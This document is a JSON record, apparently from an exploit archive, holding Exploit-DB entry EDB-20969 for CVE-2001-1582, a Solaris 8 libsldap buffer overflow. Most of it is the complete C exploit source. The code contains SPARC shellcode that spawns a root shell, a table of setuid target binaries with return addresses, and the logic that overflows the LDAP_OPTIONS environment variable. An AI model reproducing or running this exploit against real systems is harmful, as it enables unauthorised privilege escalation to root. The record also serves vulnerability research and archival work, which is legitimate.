{"exploit":{"id":"EDB-20969","name":"Sun Solaris 8 libsldap - Local Buffer Overflow (1)","description":"Sun Solaris 8 libsldap - Local Buffer Overflow (1)","cves":["CVE-2001-1582"],"author":"noir","published":"2001-06-26","platform":"solaris","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20969","path":"exploits/solaris/local/20969.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20969.c","vulnerabilities":[{"id":"CVE-2001-1582","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the LDAP naming services library (libsldap) in Sun Solaris 8 allows local users to execute arbitrary code via a long LDAP_OPTIONS environment variable to a privileged program that uses libsldap.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-1582","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-1582"},"updatedAt":"2024-09-16T17:14:43.636Z","retrievedAt":"2026-11-27T11:39:08.635Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20969.png?v=2","url":"https://exploitbin.com/exploits/EDB-20969","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20969/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20969/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2931/info\n\nSolaris 8 ships with a shared library that implements LDAP functionality called 'libsldap'. This library is linked to by a number of system utilities, many of them installed setuid or setgid.\n\nLibsldap contains a buffer overflow vulnerability in it's handling of the 'LDAP_OPTIONS' environment variable.\n\nLocal attackers can exploit this vulnerability in setuid/setgid programs linked to libsldap to elevate privileges.\n\n/** !!!PRIVATE!!!\n ** noir@gsu.linux.org.tr\n ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;\n **\n **/\n\n#include <stdio.h>\n\n#define ADJUST      1\n\n\n/* anathema@hack.co.za\n** Solaris/SPARC shellcode\n** setreuid(0, 0); setregid(0, 0); execve(\"/bin/sh\", args, 0);\n*/\n\nchar shellcode[] =\n\"\\x90\\x1a\\x40\\x09\\x92\\x1a\\x40\\x09\\x82\\x10\\x20\\xca\\x91\\xd0\\x20\\x08\"\n\"\\x90\\x1a\\x40\\x09\\x92\\x1a\\x40\\x09\\x82\\x10\\x20\\xcb\\x91\\xd0\\x20\\x08\"\n\"\\x2d\\x0b\\xd8\\x9a\\xac\\x15\\xa1\\x6e\\x2f\\x0b\\xdc\\xda\\x90\\x0b\\x80\\x0e\"\n\"\\x92\\x03\\xa0\\x08\\x94\\x1a\\x80\\x0a\\x9c\\x03\\xa0\\x10\\xec\\x3b\\xbf\\xf0\"\n\"\\xdc\\x23\\xbf\\xf8\\xc0\\x23\\xbf\\xfc\\x82\\x10\\x20\\x3b\\x91\\xd0\\x20\\x08\";\n\nstruct type {\nchar *string;\nchar *path;\nlong retaddr;\n};\n\nstruct type target[] =\n      {\n\t{ \"0, /usr/bin/passwd Solaris8, Sparc64\", \"/usr/bin/passwd\", 0xffbefe98 },\n\t{ \"1, /usr/bin/nispasswd Solaris8, Sparc64\", \"/usr/bin/nispasswd\", 0xffbefe98 },\n\t{ \"2, /usr/bin/yppasswd Solaris8, Sparc64\", \"/usr/bin/yppasswd\", 0xffbefe98 },\n\t{ \"3, /usr/bin/chkey Solaris8, Sparc64 \", \"/usr/bin/chkey\", 0xffbefea8 },\n\t{ \"4, /usr/lib/sendmail Solaris8, Sparc64\", \"/usr/lib/sendmail\", 0xffbefeb8 },\n\t{ NULL, NULL, 0 }\n      };\n\nint i;\nunsigned long ret_adr;\nchar ldap[4000];\nchar egg[400];\nchar *envs[] = { ldap, egg, NULL };\n\nmain(int argc, char *argv[])\n{\n\n      if(!argv[1])\n      {\n              fprintf(stderr, \"libsldap.so.1 $LDAP_OPTIONS enviroment variable \\\nbuffer overflow\\nExploit code: noir@gsu.linux.org.tr\\nBug discovery: sway@hack.co.za\\n\\nUsage: %s target#\\n\\n\", argv[0]);\n      for(i = 0; target[i].string != NULL; i++)\n      fprintf(stderr,\"target#: %s\\n\", target[i].string);\n      exit(0);\n      }\n\n  ret_adr = target[atoi(argv[1])].retaddr;\n\n  memset(egg, 0x00, sizeof egg);\n  for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)\n  *(long *)&egg[i] =  0xa61cc013;\n  for (i= 0 ; i < strlen(shellcode); i++)\n     egg[200+i]=shellcode[i];\n\n for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;\n for (i = ADJUST; i < 4000; i+=4)\n    {\n      ldap[i+3]=ret_adr & 0xff;\n      ldap[i+2]=(ret_adr >> 8 ) &0xff;\n      ldap[i+1]=(ret_adr >> 16 ) &0xff;\n      ldap[i+0]=(ret_adr >> 24 ) &0xff;\n    }\nmemcpy(ldap, \"LDAP_OPTIONS=\", 13);\n\nldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated\n\nexecle(target[atoi(argv[1])].path, \"12341234\", (char *)0, envs);\n\n}","sha256":"b0227983dcb228feace21ec6c739cc1ef95306aa4dfc6d442b1d39a93b44ef2d","bytes":2804,"fetchedAt":"2026-11-27T14:11:26.170Z","encoding":"utf-8 (display only; download retains original bytes)"}